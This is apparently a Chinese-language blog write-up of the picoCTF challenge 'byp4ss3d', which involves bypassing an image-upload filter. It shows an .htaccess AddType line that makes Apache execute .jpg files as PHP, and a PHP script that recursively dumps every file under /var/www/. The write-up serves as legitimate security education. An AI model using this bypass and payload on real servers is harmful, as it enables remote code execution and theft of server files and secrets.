mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3
477 words
1 minute
picoCTF Writeup
2026-02-08

前言#

高一開始碰 CTF,想說來紀錄一下自己進步的過程。

518 - byp4ss3d#

先來看題目:

A university’s online registration portal asks students to upload their ID cards for verification. The developer put some filters in place to ensure only image files are uploaded but are they enough? Take a look at how the upload is implemented. Maybe there’s a way to slip past the checks and interact with the server in ways you shouldn’t.

我啟動 Instance 之後有這樣的畫面:

先隨便傳張圖片上去

剛剛的圖片可以在 /images/2cc6035d02ccf41f062a2ff8d9468170170152828.gif 被訪問 那我就想了我能不能上傳其他的檔案,例如 HTML 之類的 可以??

那 PHP 呢,如果可以我不就可以想幹嘛就幹嘛 果然被擋了

我先複製一下他上傳的 req 看看他是怎麼個擋法,想說改 Content-Type 試試看 (改成 Image),但是一樣被擋ㄌ 就想了各種改 headers 的方法結果都不是,所以我跑去看第一個 Hint:

這是一個超明顯的提示啊!!原來 Apache 還能這樣解析的嗎w 我就去查了 .htaccess 要怎麼做到這事

Mime-types are used for several things in Apache. to tell the browser how to treat the file to tell apache which handler to use

所以我就寫了一個這樣的 .htaccess

AddType application/x-httpd-php .jpg

但是這時我又想到一個問題,如果連 .htaccess 都被擋那我不就沒轍了嗎,還好他是有給我上傳的

我這時隨便傳了一個把副檔名改成 .jpg 的 PHP 檔案確實是可以了 那麼現在就是寫 PHP 的時間啦,以前寫過 Laravel 至少還不算忘光光

<?php
function showFiles($dir) {
foreach (scandir($dir) as $file) {
if ($file == '.' || $file == '..') continue;
$path = $dir . '/' . $file;
if (is_dir($path)) {
showFiles($path);
} else {
echo $path;
echo file_get_contents($path);
}
}
}
showFiles('/var/www/');

我一開始掃 /var/www/html 沒有,我是一階一階往後推,把他所有檔案都挖出來然後顯示出來,結果就找到了藏在 /var/www//flag.txt 的 flag 了

這題就卡在一個重要的 .htaccess 觀念,原來還能把圖片當 PHP 解析呀w

Share

If this article helped you, please share it with others!

picoCTF Writeup
https://owen0924.com/posts/picoctf/
Author
owen0924
Published at
2026-02-08
License
CC BY-NC-SA 4.0

Some information may be outdated

Cover
Sample Song
Sample Artist
Cover
Sample Song
Sample Artist
0:00 / 0:00